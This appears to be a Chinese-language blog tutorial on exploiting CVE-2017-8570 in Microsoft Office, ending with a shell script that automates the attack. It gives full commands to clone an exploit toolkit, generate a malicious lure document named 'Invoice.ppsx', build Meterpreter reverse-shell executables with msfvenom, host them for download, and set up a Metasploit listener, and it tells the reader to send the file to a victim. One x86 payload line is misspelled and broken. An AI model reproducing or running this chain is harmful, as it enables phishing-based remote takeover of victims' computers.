前言

这篇文章的重点不是讲解2017-8570的利用,而是以2017-8570为例,来编写一个自动化的脚本来完成一些不必要的人工操作,避免重复劳动。

CVE-2017-8570是一个PowerPoint演示文稿的漏洞,利用方法简单且危害较大。攻击者只需要将生成的恶意ppsx(ppsx是office2007版以后的演示文稿的保存格式)文档发送给用户,用户打开放映后就会中招。

攻击机ip:192.168.1.212
系统:kali linux
靶机ip:192.168.1.165
系统:windows 7
含有漏洞的office版本:office2010

影响范围:
Microsoft Office 2007 Service Pack 3
Microsoft Office 2010 Service Pack 2 (32-bit editions)
Microsoft Office 2010 Service Pack 2 (64-bit editions)
Microsoft Office 2013 RT Service Pack 1
Microsoft Office 2013 Service Pack 1 (32-bit editions)
Microsoft Office 2013 Service Pack 1 (64-bit editions)
Microsoft Office 2016 (32-bit edition)
Microsoft Office 2016 (64-bit edition)

CVE-2017-8570的利用步骤

下载漏洞利用脚本

打开kali,通过git clone命令将利用脚本下载下来

git clone https://github.com/tezukanice/Office8570.git

生成恶意的ppsx文件

进入脚本目录,执行以下命令,这里的192.168.1.212为攻击机ip

python cve-2017-8570_toolkit.py -M gen -w Invoice.ppsx -u http://192.168.1.212/logo.doc

发现如下错误:

刚好当前目录下有个template.ppsx,那么我们新建一个目录template,然后将template.ppsx放到template目录下

mkdir template
mv template.ppsx template/template.ppsx

然后再执行

python cve-2017-8570_toolkit.py -M gen -w Invoice.ppsx -u http://192.168.1.212/logo.doc


然后执行ls,可以看到当前目录下生成了一个ppsx文件Invoice.ppsx

生成反弹shell的木马

然后再生成一个windows的反弹shell
LHOST是攻击机ip,LPORT是反向连接的端口,我们可以通过监听这个端口来得到被攻击机反弹回来的shell

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.212 LPORT=7777 -f exe > /var/cve2017-8570/shell.exe

如果为x86的系统的话,使用如下语句:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.212 LPORT=7777 -f exe > /var/Office8570/shell.exe

监听80端口,等待漏洞触发下载shell.exe

python cve-2017-8570_toolkit.py -M exp -e http://192.168.1.212/shell.exe -l /var/Office8570/shell.exe

msf配置监听

输入msfconsole启动msf

use exploit/multi/handler
set LHOST 192.168.1.212
set LPORT 7777
set PAYLOAD windows/x64/meterpreter/reverse_tcp
如果是x86的系统,将上面语句替换为:set PAYLOAD windows/meterpterter/reserver_tcp
exploit

然后在/var/Office8570目录下的Invoice.ppsx文件发送给受害用户,用户点击后返回meterpreter

自动化脚本

前面的步骤,从下载exp生成恶意文件到配置msf都可以通过编写一个shell脚本来自动化完成

attack_ip="192.168.1.212"
LPORT="6666"
DIR="/var/cve2017"

if [ -d ${DIR} ]; then
    rm -rf ${DIR}
    mkdir ${DIR}
else
    mkdir ${DIR}
fi
cd $DIR
`git clone https://github.com/tezukanice/Office8570.git`
cd Office8570
mkdir template
mv template.ppsx template/template.ppsx
python cve-2017-8570_toolkit.py -M gen -w Invoice.ppsx -u http://$attack_ip"/logo.doc"
`msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=${attack_ip} LPORT=${LPORT} -f exe > ${DIR}/shell.exe`

gnome-terminal -e "python cve-2017-8570_toolkit.py -M exp -e http://${attack_ip}/shell.exe -l ${DIR}/shell.exe"

`service postgresql start`
if [ -f "exp.rc" ]; then
    rm "exp.rc"
fi
echo "use exploit/multi/handler">>exp.rc
echo "set LHOST "$attack_ip>>exp.rc
echo "set LPORT "$LPORT>>exp.rc
echo "set PAYLOAD windows/x64/meterpreter/reverse_tcp">>exp.rc
echo "exploit">>exp.rc
gnome-terminal -e "msfconsole -r exp.rc"

用到的知识都很简单,就不一一分析了,其中主要用到的知识有:
通过`语句`来让当前语句执行完成后再执行下一条语句
利用>>将语句写入文件
通过rc脚本来配置msf
通过gnome-terminal命令来新打开一个命令行,并通过-e参数执行命令

脚本用法:

脚本我放在github上了,下载地址:

https://github.com/Drac0nids/CVE-2017-8570.git

下载脚本后修改attack_ip为kali的ip,LPORT为msf要监听的端口,DIR为任意空目录

给脚本777的权限

chmod 777 auto

然后运行脚本

./auto

会自动下载利用脚本并生成恶意文件,并配置好msf监听

然后在DIR+/Office8570 目录下找到Invoice.ppsx文件,将其发送给被攻击者
被攻击者打开Invoice.ppsx文件后会利用powershell下载shell.exe,然后会返回一个meterpreter

源链接

Hacking more

...